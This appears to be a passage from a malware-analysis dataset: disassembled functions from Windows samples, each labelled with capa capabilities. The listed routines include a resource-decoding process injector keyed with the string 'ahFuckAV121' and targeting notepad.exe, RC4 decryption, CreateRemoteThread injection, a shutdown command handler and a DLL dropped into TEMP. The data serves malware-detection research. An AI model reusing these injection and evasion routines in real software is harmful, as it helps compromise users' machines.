joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Check mutex on windows
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions

Disassembly:
push rbx
sub rsp, 0x150
lea r8, str.MagpieMutex
xor edx, edx
xor ecx, ecx
call sub.KERNEL32.dll_CreateMutexA
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000103f
test rbx, rbx
je 0x14000103f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400011f6
mov qword [rsp + 0x160], rbp
mov edx, 0x64
mov qword [rsp + 0x168], rsi
xor ecx, ecx
mov r8d, 0xa
mov qword [rsp + 0x170], rdi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 4
mov r8d, 0x3000
mov ebp, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebp
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.140014110
xor edi, edi
mov r9d, edi
test ebp, ebp
je 0x1400010f6
mov r8d, edi
lea r10, str.ahFuckAV121__
mov rdx, rsi
nop
cmp r8, 0xd
lea rdx, [rdx + 1]
mov rcx, rdi
cmovne rcx, r8
inc r9d
movzx eax, byte [rcx + r10]
lea r8, [rcx + 1]
xor byte [rdx - 1], al
movsxd rax, r9d
cmp rax, rbp
jb 0x1400010d0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000112d
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
jne 0x14000113e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.searching_for_PID....
call fcn.1400016d0
jmp 0x1400011d3
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x14000117d
nop dword [rax]
lea rdx, [rsp + 0x4c]
lea rcx, str.notepad.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140001179
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001150
jmp 0x14000117d
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.searching_for_PID....
call fcn.1400016d0
test edi, edi
je 0x1400011d3
mov edx, edi
lea rcx, str.explorer.exe_PID___d_n
call fcn.1400016d0
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400011d3
mov r8d, ebp
mov rdx, rsi
mov rcx, rax
call fcn.140001390
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x170]
xor eax, eax
mov rsi, qword [rsp + 0x168]
mov rbp, qword [rsp + 0x160]
add rsp, 0x150
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.140004d38
int3
Function at 0x140001e7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ec6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ec6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ec6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ec6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ec6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ec8
xor al, al
add rsp, 0x28
ret

Function at 0x140004b34
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140004ba3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004ba3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004ba3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004ba3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004ba3
cmp dword [rcx + 0x84], 0xe
jbe 0x140004ba3
cmp dword [rcx + 0xf8], 0
je 0x140004ba3
mov ecx, ebx
call fcn.140004c54
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004a30
nop
cmp dword [rbp + 0x20], 0
je 0x140004bf1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004bfc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140004b34

Function at 0x140004d38
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140004ba3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004ba3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004ba3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004ba3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004ba3
cmp dword [rcx + 0x84], 0xe
jbe 0x140004ba3
cmp dword [rcx + 0xf8], 0
je 0x140004ba3
mov ecx, ebx
call fcn.140004c54
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004a30
nop
cmp dword [rbp + 0x20], 0
je 0x140004bf1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004bfc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140004b34
Function at 0x14000cc20
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000cc50
xor eax, eax
jmp 0x14000cd13
mov rbp, rbx
cmp word [rax], si
je 0x14000cc75
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000cc5c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000cc58
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000cb40
movsxd r14, eax
test eax, eax
jne 0x14000ccb3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000cc49
mov rcx, r14
call fcn.1400093ac
mov rdi, rax
test rax, rax
jne 0x14000cccc
xor ecx, ecx
call fcn.140008820
jmp 0x14000cca8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000cb40
test eax, eax
jne 0x14000ccfd
mov rcx, rdi
call fcn.140008820
jmp 0x14000cd07
xor ecx, ecx
call fcn.140008820
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140010acc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140010ae2
mov al, 1
jmp 0x140010b42
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140010af3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140010b40
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000cfdc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140010b40
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140010b40
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140010b40
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140010b42
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140013a60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140013a88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140013a88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x228a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0228a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x228a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x228a06f
add dl, dl
jne 0x228a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x228a0f6
xor eax, eax
add dl, dl
jne 0x228a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x228a1ad
add dl, dl
jne 0x228a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x228a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x228a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x228a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x228a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x228a07e
mov eax, 1
add dl, dl
jne 0x228a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x228a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x228a0fb
sub eax, ebx
mov ebx, 1
jne 0x228a14c
mov ecx, 1
add dl, dl
jne 0x228a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x228a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x228a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x228a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x228a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x228a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x228a15d
cmp eax, 0x7d00
jae 0x228a19b
cmp eax, 0x500
jb 0x228a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x228a07e
cmp eax, 0x7f
ja 0x228a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x228a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x228a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x228a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001668
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x230
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rsp + 0x220], rax
or rdi, 0xffffffffffffffff
mov esi, edx
xor ebx, ebx
mov rax, r8
mov r14, rcx
inc rdi
cmp byte [r8 + rdi], bl
jne 0x18000169d
mov r8d, edi
lea rcx, [rsp + 0x120]
mov rdx, rax
mov ebp, ebx
call fcn.18001d290
mov eax, ebx
lea rcx, [rsp + 0x20]
mov r11d, 0x100
mov byte [rcx], al
inc eax
inc rcx
cmp eax, r11d
jl 0x1800016c8
mov r8d, ebx
lea r10d, [rdi - 1]
lea r9, [rsp + 0x20]
movzx edx, byte [r9]
mov eax, r8d
inc r8d
mov ecx, r10d
and rcx, rax
movzx ecx, byte [rsp + rcx + 0x120]
add ecx, ebp
add ecx, edx
movzx ebp, cl
mov al, byte [rsp + rbp + 0x20]
mov byte [r9], al
inc r9
mov byte [rsp + rbp + 0x20], dl
cmp r8d, r11d
jl 0x1800016e0
mov edx, ebx
test esi, esi
je 0x180001753
mov r8, rsi
lea eax, [rbx + 1]
movzx ebx, al
movzx ecx, byte [rsp + rbx + 0x20]
lea eax, [rdx + rcx]
movzx edx, al
mov al, byte [rsp + rdx + 0x20]
mov byte [rsp + rbx + 0x20], al
mov byte [rsp + rdx + 0x20], cl
movzx eax, byte [rsp + rbx + 0x20]
add rax, rcx
movzx eax, al
mov cl, byte [rsp + rax + 0x20]
xor byte [r14], cl
inc r14
sub r8, 1
jne 0x18000171b
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.18000b240
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x180006f28
Capabilities:
Create thread
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x490
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rdi, r8
mov dword [rsp + 0x40], 0x438
mov ebp, edx
lea rcx, [rsp + 0x44]
xor edx, edx
mov r8d, 0x434
call fcn.18001d0d0
mov edx, ebp
mov ecx, 0x18
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180006f8d
xor al, al
jmp 0x180007091
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
jmp 0x180006ff8
lea rdx, [rsp + 0x270]
mov rax, rdi
sub rdx, rdi
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x180006fc1
add rax, 2
test r8d, r8d
jne 0x180006fab
test ecx, ecx
je 0x180007001
lea rdx, [rsp + 0x70]
mov rax, rdi
sub rdx, rdi
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x180006fe6
add rax, 2
test r8d, r8d
jne 0x180006fd0
test ecx, ecx
je 0x180007001
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x180006f9d
jmp 0x180007086
mov rsi, qword [rsp + 0x58]
mov r8d, ebp
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000702d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180006f86
and qword [rsp + 0x30], 0
xor r8d, r8d
and dword [rsp + 0x28], 0
xor edx, edx
mov r9, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
jne 0x180007068
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
jmp 0x180007022
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.18000b240
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180007748
Capabilities:
Create thread
Shutdown system

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rsp + 0x38], rax
movzx r9d, byte [rdx]
mov rdi, rdx
mov rbx, rcx
sub r9d, 0x65
je 0x180007898
sub r9d, 1
je 0x18000788f
sub r9d, 1
je 0x180007881
sub r9d, 1
je 0x1800078c1
sub r9d, 1
je 0x180007860
sub r9d, 1
je 0x180007841
sub r9d, 1
je 0x1800077d9
sub r9d, 1
je 0x1800077c9
cmp r9d, 1
jne 0x1800078a7
mov byte [rsp + 0x30], 0xe6
jmp 0x180007854
dec r8d
inc rdx
call fcn.1800080b8
jmp 0x1800078a7
lea eax, [r8 - 1]
mov ecx, eax
mov ebp, eax
call fcn.18000b298
mov rsi, rax
test rax, rax
je 0x1800078a7
lea rdx, [rdi + 1]
mov r8d, ebp
mov rcx, rax
call fcn.18001d290
and qword [rsp + 0x28], 0
lea r8, [0x1800083dc]
xor ecx, ecx
xor edx, edx
and dword [rsp + 0x20], ecx
mov r9, rsi
cmp dword [rbx + 0x1f5c], ecx
jne 0x180007828
lea r8, [0x1800083b0]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [rbx + 0x1f58]
mov qword [rbx + rcx*8 + 0x18], rax
inc dword [rbx + 0x1f58]
jmp 0x1800078a7
call fcn.180008408
neg eax
sbb cl, cl
add cl, 0xe4
mov byte [rsp + 0x30], cl
mov rcx, rbx
lea rdx, [rsp + 0x30]
call fcn.180001534
jmp 0x1800078a7
movzx ebx, byte [rdx + 1]
mov edx, 1
call fcn.180007cb0
xor edx, edx
mov ecx, ebx
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.180007cb0
jmp 0x1800078a7
mov r8, qword [rcx + 8]
inc rdx
call fcn.1800078c8
jmp 0x1800078a7
lea rcx, str.REMARK
jmp 0x18000789f
lea rcx, str.GROUP
inc rdx
call fcn.18000ad18
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18000b240
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
call fcn.180007fe4
int3
Function at 0x1800080b8
Capabilities:
Check if file exists
Create thread
Get file attributes

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov esi, r8d
mov rbx, rdx
mov rdi, rcx
lea rcx, str.TEMP
call fcn.180024914
movdqa xmm0, xmmword [0x18005d1a0]
movdqu xmmword [rsp + 0x68], xmm0
xor r14d, r14d
mov word [rsp + 0x58], r14w
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1800059e0
nop
lea r8, str.WxHelper.dll
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.1800062a0
nop
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000816f
test al, 0x10
jne 0x18000816f
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rcx, qword [rsp + 0x38]
call fcn.1800240fc
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call fcn.18001d0d0
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rbp - 0x80]
call fcn.180009d10
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], r8d
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.180009550
lea rsi, [rbp - 0x78]
cmp qword [rbp + 8], r14
jne 0x1800081e0
mov rbx, r14
jmp 0x180008200
lea rcx, [rbp - 0x78]
call fcn.180009ffc
neg al
sbb rbx, rbx
and rbx, rsi
mov rcx, qword [rbp + 8]
call fcn.1800241a8
test eax, eax
cmovne rbx, r14
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp - 0x78]
call fcn.18000a0c0
test rbx, rbx
jne 0x18000823d
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea r9, [rbp - 0x80]
add rcx, r9
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], r14
cmove edx, eax
xor r8d, r8d
call fcn.180002968
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x1800082f8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [rdi + 0x1f58]
mov qword [rdi + rcx*8 + 0x18], rax
inc dword [rdi + 0x1f58]
lea rcx, [rbp + 0x28]
call fcn.1800089d4
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0x28]
call fcn.18001b094
nop
lea rcx, [rsp + 0x38]
call fcn.18000597c
nop
lea rcx, [rsp + 0x58]
call fcn.18000597c
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.18000b240
add rsp, 0x1a0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800092c4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x1800092fd
xor eax, eax
jmp 0x18000941f
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x180009337
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x180009337
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x18000941f
cmp qword [rbx + 0x80], 0
je 0x18000941d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180009372
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180009395
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.180023c94
cmp eax, edi
cmovne edi, esi
jmp 0x18000941d
lea r8, [rbp - 0x40]
mov byte [rbp - 0x30], sil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp - 0x2f]
lea r8, [rbp - 8]
mov qword [rsp + 0x30], r8
lea r8, [rbp - 0x28]
mov qword [rsp + 0x28], r8
lea r8, [rbp - 0x38]
mov qword [rsp + 0x20], r8
lea r8, [rbp - 0x30]
call qword [rax + gethostname]
test eax, eax
js 0x18000941d
cmp eax, 1
jle 0x1800093e3
cmp eax, 3
jne 0x18000941d
movsx ecx, byte [rbp - 0x30]
jmp 0x18000937f
mov r14, qword [rbp - 0x40]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x18000940d
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call fcn.180024614
cmp r14, rax
jne 0x18000941d
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x38], rax
mov eax, esi
jne 0x18000941f
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.18000b240
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180009ffc
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x18000a0a5
cmp byte [rcx + 0x71], 0
je 0x18000a0a5
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18000a067
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
je 0x18000a06b
sub eax, 1
je 0x18000a06f
sub eax, 2
je 0x18000a0a5
xor al, al
jmp 0x18000a0a7
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x18000a09c
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call fcn.180024614
cmp rdi, rax
jne 0x18000a067
cmp byte [rbx + 0x71], 0
sete al
jmp 0x18000a0a7
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000b240
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x18000ac70
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ecx, 0x238
mov rsi, rax
call fcn.18000b2a0
mov rdx, rax
mov rcx, rsi
mov rdi, rax
mov dword [rax], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x18000acda
mov rdx, r14
lea rcx, [rdi + 0x2c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x18000ace0
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000acbd
jmp 0x18000ace3
mov ebx, dword [rdi + 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x238
mov rcx, rdi
call fcn.18000b290
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x18000ad18
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x240
mov rax, qword [0x180066008]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rdi, rdx
mov rbx, rcx
xor edx, edx
